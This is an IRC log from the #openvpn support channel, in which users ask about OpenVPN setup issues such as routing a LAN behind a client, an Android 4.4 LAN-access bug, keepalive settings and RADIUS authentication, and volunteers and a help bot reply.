01:17 <+pekster> I would treat such nonstop attempts as abuse and take measures to deny them; again, YMMV. Do what you feel best
01:17 <+pekster> Clever people would write an exponential back-off mechanism similar to TCP's retry
01:17 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
01:18 < T_X> I'll do, thanks for the info and hint explanations on auth-retry, pekster :)
01:18 < T_X> (not the exponential back-off, but what I feel best)
01:20 -!- speed_racer84 [~speed_rac@172.56.14.81] has joined #openvpn
01:37 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:02 -!- spiekey [~admin@projekte.imos.net] has joined #openvpn
02:09 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 240 seconds]
02:17 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
02:18 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
02:25 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:37 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:39 -!- fling [~fling@fsf/member/fling] has left #openvpn []
02:49 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
03:11 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Quit: you tear down all my reason you see through what i hide you make me perfect help me get inside]
03:14 -!- spiekey [~admin@projekte.imos.net] has quit [Quit: spiekey]
03:24 -!- spiekey [~admin@projekte.imos.net] has joined #openvpn
03:29 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 246 seconds]
03:32 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
03:47 -!- toobluesc [~nitro@2001:558:6045:d2:3524:e7b0:53f0:ab09] has quit [Ping timeout: 245 seconds]
03:52 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
04:04 -!- toobluesc [~nitro@c-24-7-58-50.hsd1.ca.comcast.net] has joined #openvpn
04:05 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
04:06 < FriedZombie> hey any advice from the bot on why overlapping ip's is a bad idea? so i can copy paste :P
04:06 < FriedZombie> !welcome
04:06 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
04:06 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:12 < Poster> you're wondering why overlaping IP addresses is bad?
04:12 < FriedZombie> no ;) somebody else asked me
04:12 < FriedZombie> but I allready typed up an answer to that
04:13 < FriedZombie> but since the question is asked over and over again, I hoped for a default bot answer I could paste
04:13 < Poster> seems like routing trouble would be sufficient
04:24 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
04:45 -!- copper [~copper@unaffiliated/copper] has joined #openvpn
04:45 < copper> hi
04:46 < copper> I'm running OpenVPN for Android on both my smartphone with Android 4.3, and my tablet, recently updated to Android 4.4
04:46 < copper> exact same configuration on both
04:46 -!- dazo_afk is now known as dazo
04:47 < copper> but now on my tablet, its FTP server port is filtered (and can't be accessed), and FTP clients (on the tablet) can't access local servers on my LAN
04:47 < copper> but only when OpenVPN is running on my tablet
04:47 < copper> no such problem with my smartphone, and everything works again on my tablet when I stop the OpenVPN client on it
04:47 -!- aemquo [~UN@unaffiliated/aemquo] has joined #openvpn
04:47 < copper> when the OpenVPN client is running on it, nmap shows "filtered" ports
04:48 < copper> those ports become "open" when I stop the OpenVPN client on the tablet
04:48 < aemquo> Is it possible to connect to one vpn provider, and through that connect to another?
04:48 -!- emka [~root@static.58.41.40.188.clients.your-server.de] has left #openvpn []
04:50 -!- aemquo [~UN@unaffiliated/aemquo] has quit [Quit: Leaving]
04:50 < copper> strangely enough, my tablet can access servers on the internet even when the OpenVPN client is running. It seems to be affecting only the LAN.
04:54 < copper> nmap shows "2121/tcp filtered ccproxy-ftp" when OpenVPN is running on the tablet, and "2121/tcp open  ccproxy-ftp" when OpenVPN is NOT running on the tablet
04:56 < copper> nmap alwas shows "2121/tcp open  ccproxy-ftp" on my smartphone even when it's running the OpenVPN client
04:57 < Poster> I would probably start by looking at your routing table to see how the openvpn client is adjusting routes
04:57 -!- kentzo1 [~Adium@92.255.183.190] has joined #openvpn
04:58 < copper> same routing tables on both my tablet and my smartphone
04:59 < copper> as shown in the OpenVPN logs
05:07 < copper> "Workaround for Android 4.4 VpnService bug"
05:08 < copper> the only difference between my smartphone and my tablet is the Android version
05:08 < copper> and the only thing that changed on my tablet, is that it got the 4.4 upgrade last night
05:09 < kentzo1> Hi everyone. I'm trying to configure OpenVPN on iOS using the OpenVPN Connect app. Here is my ovpn.profile: https://gist.github.com/Kentzo/7656569. The problem is that the app keeps asking me for a client certificate despite that server has the "client-cert-not-required" option (auth is done via LDAP). Maybe I'm missing some important option in client's config?
05:28 < copper> the Fing app on my tablet also doesn't see other machines on the LAN and their services, when OpenVPN is running
05:28 < copper> it does when OpenVPN isn't running on the tablet
05:29 < copper> Fing on my smartphone has no problem seeing other machines and their services, regardless of whether OpenVPN is running on it, or not
05:33 < copper> correction, the tablet sees the machines, but not their services (while OpenVPN is running on the tablet)
05:58 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
06:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
06:03 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
06:04 -!- aegis [~aegis@184.75.213.122] has quit [Ping timeout: 245 seconds]
06:08 < kentzo1> Ok, found answer to problem in the app description: setenv CLIENT_CERT 0
06:10 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
06:14 -!- gardar [~gardar@gardar.net] has joined #openvpn
06:17 -!- linuxthefish [~linuxthef@185.17.148.101] has left #openvpn []
06:35 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds]
07:15 -!- volnukhin [~ka4ok@141.0.170.169] has quit [Remote host closed the connection]
07:16 -!- volnukhin [~ka4ok@141.0.170.169] has joined #openvpn
07:19 -!- volnukhin [~ka4ok@141.0.170.169] has quit [Client Quit]
07:20 -!- volnukhin [~ka4ok@141.0.170.169] has joined #openvpn
07:28 -!- volnukhin [~ka4ok@141.0.170.169] has quit [Quit: No Ping reply in 180 seconds.]
07:29 -!- volnukhin [~ka4ok@141.0.170.169] has joined #openvpn
07:38 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has joined #openvpn
07:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 248 seconds]
07:42 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 252 seconds]
07:42 -!- newbie|8 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
07:43 -!- T-One [~T-One@213.33.91.2] has joined #openvpn
07:43 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 240 seconds]
07:46 < T-One> does the openvpn access server need any outbound connections on the firewall for license activation?
07:46 < T-One> i bought some licenses but when i try to add the following error: SESSION ERROR: SESSION: Your session has expired, please reauthenticate (9007)
07:47 < T-One> occurs
07:48 -!- newbie|8 [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
07:50 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
07:51 < copper> https://outpost.fr/Ynz Issue 211 -
07:51 <@vpnHelper> Title: Issue 211 - ics-openvpn - LAN is inaccessible when OpenVPN is running on Android 4.4 - Openvpn for Android 4.0+ - Google Project Hosting (at outpost.fr)
07:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:57 -!- mode/#openvpn [+o plaisthos] by ChanServ
08:04 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:14 <@ecrist> T-One: wrong channel
08:14 <@ecrist> !as
08:14 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
08:14 < T-One> ecrist, thanks
08:25 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
08:25 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
08:25 -!- mode/#openvpn [+o novaflash] by ChanServ
08:31 -!- xBytez [~quassel@unaffiliated/xbytez] has quit [Ping timeout: 245 seconds]
08:37 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Quit: WeeChat 0.4.3-dev]
08:41 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
08:44 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
09:11 -!- GrecKo [~GrecKo@2001:41d0:1:cb16::1] has quit [Ping timeout: 264 seconds]
09:16 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:23 -!- kentzo1 [~Adium@92.255.183.190] has quit [Ping timeout: 246 seconds]
09:25 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:51 -!- xBytez [~quassel@libxbytez.so] has joined #openvpn
09:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:25 -!- T_X [~T_X@open-mesh.org] has left #openvpn []
10:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:34 -!- toobluesc [~nitro@c-24-7-58-50.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
10:39 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 246 seconds]
10:59 -!- spiekey [~admin@projekte.imos.net] has left #openvpn []
11:02 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
11:03 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
11:07 -!- master_of_master [~master_of@p4FF24578.dip0.t-ipconnect.de] has joined #openvpn
11:10 -!- master_o1_master [~master_of@p4FD7B59C.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:28 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
11:37 -!- GrecKo [~GrecKo@2001:41d0:1:cb16::1] has joined #openvpn
11:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:54 -!- u0m3_ [~u0m3@92.80.66.74] has quit [Read error: Connection reset by peer]
11:58 -!- u0m3 [~u0m3@109.96.166.138] has joined #openvpn
11:58 -!- speed_racer84 [~speed_rac@172.56.14.81] has quit [Ping timeout: 265 seconds]
12:18 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
12:28 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
12:41 -!- hamas [~asd@84.238.81.51] has joined #openvpn
12:42 < hamas> hive-mind, is there a way for my ubuntu client to check if the tunnel still works and if not disconnect until it works again?
12:42 < hamas> hi*
12:47 < copper> hamas: script it
12:49 < hamas> copper, independent of openvpn?
12:49 < copper> yes
12:50 < hamas> copper, you don't know of any scripts/programs that can do it?
12:50 <@ecrist> hamas: what do you mean?
12:50 <@ecrist> if the tunnel doesn't work, what's to disconnect?
12:52 < hamas> ecrist, the problem is that if the tunnel goes down all the network is completely dropped because openvpn redirects all network trough the tunnel
12:52 < copper> ecrist: have the system revert to normal internet connection when the tunnel is not working, when the OpenVPN config is set to route all traffic
12:52 <+pekster> hamas: You probably want to rely on the --ping/--ping-restart (see !keepalive for details) support. If you want to take external actions on startup or shutdown, read the manpage for the --up, --down, --up-restart, and --down-pre options and script hooks (see also: !scripts)
12:53 < hamas> !keepalive
12:53 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
12:53 < hamas> !scripts
12:53 <@vpnHelper> "scripts" is "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
12:54 <+pekster> hamas: Traffic will _not_ be "dropped" in the standard behaviour. What you desire is what openvpn already does by default. If you are disconnected the routes are torn down unless you're using some --persist* options. Don't use those unless you actually want to persist interfaces across restarts
12:54 <+pekster> If you're a client you _really_ shouldn't be using things like --persist-tun and --persist-ip, for instance
12:54 <+pekster> Do so at your own risk
12:55 <+pekster> If you're still confused, please pastebin both your server & client configs as indicated at !configs for help with your situation
12:56 < hamas> pekster, i don't use any --persist*
12:56 <+pekster> Then on restart your routes are already torn down automatically
12:56 <+pekster> (same on program exists)
12:56 < hamas> pekster, I have "redirect-gateway def1" and it seems like then the tunnel does down i can't connect to the box
12:57 <+pekster> Without configs it's nearly impossible to say why
12:58 <+pekster> Logs too, from your client at least at verb 4 as defined in !logs. Best to put both your !configs and the client-side log (!logs) in a gist paste URL (see: !paste)
12:58 < hamas> pekster, http://pastebin.com/mZurGniC
12:59 < hamas> !configs
12:59 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:59 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
12:59 <+pekster> With all the "ipX" in your config I can't really tell what you're doing
12:59 <+pekster> !topsecret
12:59 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
12:59 < hamas> client is ubuntu, server is a paid provider
12:59 <+pekster> I'm not going to play guessing games in order to give you free help
13:00 < hamas> pekster, they are IP's for the host tunnel and dns
13:00 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:01 <+pekster> Then maybe someone else is willing to play this game with you. Sorry, but I'm not.
13:01 < hamas> game?
13:01 <+pekster> See !topsecret from just above
13:01 < hamas> !topsecret
13:01 <+pekster> #2 is for clever readers, but #1 is for everyone else
13:01 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
13:02 -!- svparijs_afk is now known as svparijs
13:11 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Quit: Leaving.]
13:12 <@krzee> clever readers didnt need #2
13:12 <@krzee> ;]
13:12 <+pekster> Right, the clever ones alreaady knew about that, or just used RFC1918 (or numerious other acceptable RFCs) for that purpose :P
13:14 < havoc> or just change the first octet, geez
13:17 <+pekster> I generally discourage people who don't know what they're doing trying to hide IPs anyway becuase it frequently gets done improperly that hides or obscures real issues
13:17 < havoc> yeah; typos, changing the wrong ones, etc...
13:18 <+pekster> Plus it becomes a real pain when people redact the logs and either do it way to broadly, or use malformed sed/grep/awk/whatever and destroy critical details. It's a waste of my time
13:20 <@ecrist> !topsecret
13:20 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
13:56 -!- hamas [~asd@84.238.81.51] has quit [Quit: Leaving]
13:57 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
14:04 -!- maskedlua is now known as maskedc
14:05 -!- maskedc is now known as cgt
14:05 -!- cgt is now known as maskedc
14:05 -!- maskedc is now known as maskedidiot
14:06 -!- maskedidiot is now known as cgt
14:06 -!- cgt [~quassel@unaffiliated/themaskedlua] has quit [Disconnected by services]
14:06 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
14:18 < muts> A quick question for the experienced:
14:18 < muts> I have a windows openvpn client which conncets to a linux openvpn server. I would like the network on the windows client side to be accessible by the server. (ie - the openvpn server can ping the windows client, and other machines on the client network).
14:18 < muts> What "openvpn model" should i be looking for ? What keywords best describe this scenario ?
14:19 <@krzee> !clientlan
14:19 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
14:19 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:19 <@krzee> !winipforward
14:19 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
14:19 <@krzee> !route_outside_ovpn
14:19 <@vpnHelper> "route_outside_ovpn" is "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:19 <@krzee> ^ on the client's lan's router
14:20 <@krzee> !iroute
14:20 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
14:20 -!- Devastator_ [~devas@186.214.110.47] has joined #openvpn
14:20 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
14:20 <@krzee> you may come to love the handy troubleshooting flowchart, that should tell you where you are stuck and make it easy for you to fix it (or to ask the proper question by telling us where on the flowchart you get stuck)
14:21 < muts> thanks, this is a great start.
14:21 <@krzee> yw
14:21 <+pekster> muts: I would encourage you to consider a non-Windows platform as your router, but if you don't have the need for access controls on that host you might be able to get by with Windows as a client-LAN router. Your YMMV, and as always, use the right platform for your task & comfort level
14:22 < muts> pekster, thanks.
14:23 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:28 -!- dazo is now known as dazo_afk
14:33 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:36 -!- Devastator_ [~devas@186.214.110.47] has quit [Changing host]
14:36 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
14:36 -!- Devastator_ is now known as Devastator
14:41 < muts> krzee, may i pm ?
14:42 <@krzee> im about to head to work
14:42 <@krzee> you're better off talking here and benefitting from the other 200+ people's input
14:42 < muts> alright, i'll give it a go.
14:42 <@krzee> but yes, you can
14:43 <@krzee> got about 2min before im out tho :D
14:43 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has joined #openvpn
14:43 < muts> looking through the requirements for the client-lan, i *dont* have access to the client router. Adding a route on it is not an option for me.
14:43 <@krzee> ill prolly log back in in like 10, but no promises
14:43 < muts> do i have any other alternatives?
14:43 < rob0> bye, have a good day at work!
14:43 <@krzee> sure, you can add a route to the target machines on the lan
14:43 <@krzee> and if you cant do that, you really need to stop using windows, then you can use the nathack
14:44 <@krzee> then you can nat the vpn network to the client's lan
14:44 <+pekster> With all the drawbacks NAT has in that setup too
14:44 <@krzee> ya, nathack should be last resort
14:44 <+pekster> (ie: one-way communication only; LAN systems can't initiate connections to the VPN range, only the other way around)
14:44 <@krzee> yes they could
14:45 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
14:45 <@krzee> (if you configured it to work)
14:45 <@krzee> thats all outside openvpn tho
14:45 < rob0> You're going to be late!
14:45 <@krzee> bbiaf
14:45 <@krzee> :D
14:46 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
14:46 <+pekster> 'eh, they really can't work; the only way that works is by having a route to the VPN range from the source system, in which case NAT wouldn't be necessary
14:47 <+pekster> Unless you mean really weird cases where box A has a route but box B doesn't and you NAT to reach box B but not A. That's rather insane.
14:48 <+pekster> Best to set up routing correctly in the first place, though I do have to wonder why you're trying to route onto a network you don't control
14:50 < muts> pekster, can i pick your brain in pm ?
14:51 <+pekster> It's better to ask Q's here; I'm doing several things, and unless there's a good reason, best to gain the full support of other input
14:51 <+pekster> If there's a good reason though, go for it; I just might send you back here if I don't think it's such a good reason ;)
14:56 < muts> thanks.
15:01 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 246 seconds]
15:05 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
15:06 -!- svparijs is now known as svparijs_afk
15:06 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 246 seconds]
15:08 < Saul775>  How can I set the DHCP Pool (Range) for OpenVPN?
15:09 <+pekster> Saul775: You generally have openvpn manage its own pool of addressing; see --ifconfig-pool, and see also the helper-directives that include it: --server and --server-bridge
15:09 <+pekster> You don't normally want to use a bridged setup and "share" DHCP from either end unless you have a very good handle on how complex that is
15:09 < Saul775> Thank you, pekster.  I'll look into it now.
15:10 < Saul775> Yeah, my internal network is 192.168.1.0, but my OpenVPN is going to be 192.168.2.0.  However, I want a couple of static IPs in the lower range.  I'm thinking of setting the pool between .100 and .254.
15:12 <+pekster> Yea, if you're doing a mix of static and pool assignments for your VPN network, don't use the --server helper-directive; more info at !static
15:12 <+pekster> Also, it's a really bad idea to use 192.168.0.0/23 (or any subnet of that) for either end
15:12 <+pekster> That will cause all sorts of issues if clients connect from an overlapping network
15:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
15:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
15:15 -!- mode/#openvpn [+o krzee] by ChanServ
15:17 <@krzee> back
15:18 < rob0> Everybody look busy!
15:19 -!- mode/#openvpn [-o plaisthos] by plaisthos
15:28 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 248 seconds]
15:40 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
16:01 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 246 seconds]
16:08 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
16:15 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
16:18 -!- Denial [Denial@2.223.161.125] has quit []
16:23 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has joined #openvpn
16:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-qhjslfjhlqcwhyam] has quit [Read error: Operation timed out]
16:54 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
16:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-msiswilwgfbldnyh] has joined #openvpn
16:55 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
16:58 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginm.net] has quit [Quit: Ex-Chat]
17:15 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 252 seconds]
17:16 -!- crocket [~crocket@unaffiliated/crocket] has left #openvpn ["Leaving"]
17:18 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
17:19 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
17:21 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:23 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 265 seconds]
17:23 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
17:28 -!- eHAPPY [~V1CE@ip70-180-124-54.no.no.cox.net] has joined #openvpn
17:34 -!- TByte [~TByte@94.6.45.234] has joined #openvpn
17:34 -!- TByte is now known as [TByte]
17:36 < [TByte]> hello.  I have a "little" issue, and am a bit of a n00b.  I have set up an TUN OpenVPN server on my home PC, and have 2 clients connected successfully (1 is Android), clients can talk between each other, but can't connect to the IP address of the VPN server? It used to work when I had TAP instead of TUN (faffed about with config majorly, so it's not just TAP -> TUN that's changed; just
17:36 < [TByte]> mentioning)
17:51 <@ecrist> what are you trying to connect to on the VPN server?
17:51 <@ecrist> generally, you'll run whatever service (web/etc) on the servers VPN IP, and VPN clients will connect to that
17:51 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
17:55 < [TByte]> ecrist: yea, seems it's abnormal not to be able to do that; to answer your question just TCP services on the VPN server.  Can only go server -> client, but not client -> server. Reconfiguring stuff; will reboot etc
17:55 < [TByte]> thanks for TeamViewer and Citrix for backdoorage
18:05 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
18:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
18:13 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:16 -!- [TByte] [~TByte@94.6.45.234] has quit [Quit: o0]
18:22 -!- A_Pickle [~A_Pickle@host-174-45-187-170.chy-wy.client.bresnan.net] has quit [Quit: Leaving.]
18:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
18:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:36 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 248 seconds]
18:40 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
18:40 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
18:41 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
18:41 -!- EugeneKay [~eugene@clockworkmod.org] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:49 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
18:53 -!- aegis [~aegis@184.75.213.122] has joined #openvpn
19:00 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
19:01 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
19:09 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has joined #openvpn
19:18 -!- rawDawg [~raw@cpe-76-188-27-72.neo.res.rr.com] has joined #openvpn
19:19 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 272 seconds]
19:20 < rawDawg> what are some conditions I can use in Windows Server NPS to distinguish between openvpn remote access and ssh to the server hosting openvpn?
19:26 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
19:33 <+pekster> rawDawg: What are you trying to distinguish?
19:34 < rawDawg> the request for remote access vs the request to ssh
19:34 <+pekster> What is a "request for remote access" ?
19:34 <+pekster> ssh where?
19:34 <+pekster> You need to describe your goal better
19:35 < rawDawg> a server running openvpn
19:35 < rawDawg> can use radius
19:35 < rawDawg> for remote access vpn
19:35 < rawDawg> and also for ssh login
19:35 <+pekster> Wonderful. I still have no clue at all what it is you're trying to do
19:35 < rawDawg> ok i have a openvpn server
19:36 < rawDawg> that uses radius (NPS) to grant access to remote access clients that are dialing in
19:36 < rawDawg> do you follow?
19:36 <+pekster> Yup
19:37 < rawDawg> the same server can use radius (NPS) to authenticate ssh clients
19:37 < rawDawg> two different processes on a single server
19:37 <+pekster> openvpn is using RADIUS as a backed; that's fine, and as far as openvpn is concerned it doesn't even care "what" backend is used (could be SQL or a random number generator for all openvpn cares)
19:37 <+pekster> OpenVPN just gets a pass/fail reply from RADIUS; nothing more
19:37 < rawDawg> no Active Directory is the backend
19:38 <+pekster> Radius is the _authentication_ backend; what _it_ uses is entirely up to it
19:38 <+pekster> That's more or less of no concern here though
19:38 < rawDawg> NPS is authenticating requests from clients against AD
19:39 <+pekster> Look, I don't care if RADIUS is sending request via RFC1149; you still haven't described what it is you need help configuring openvpn to do
19:39 < rawDawg> i have two different types of requests coming from the same radius (nps) client
19:40 < rawDawg> i need to find Conditions that can distinguish the two
19:40 < rawDawg> one request is for remote acess, one is for ssh access
19:40 < rawDawg> for example...
19:41 <+pekster> Set the service-type RADIUS attribute
19:41 <+pekster> Then do what you want with that value on the RADIUS server
19:41 < rawDawg> the service-type RADIUS attibute is already set by these services
19:41 < rawDawg> how do i find out what they are?
19:41 <+pekster> Wonderful, then that's your distinction
19:42 <+pekster> If you need help configuring your Windows RADIUS server I suggest you ask a Windows-centric support channel/forum/mailing-list
19:42 < rawDawg> i need to figure out how to log all incoming requests
19:43 <+pekster> On the RADIUS server? That's got nothing at all to do with OpenVPN beyond the fact that you're using it as a supplicant
19:44 < rawDawg> agreed. but maybe someone here has done this before
19:44 < rawDawg> what service-type attribute does openvpn send when authenticating remote access vpn?
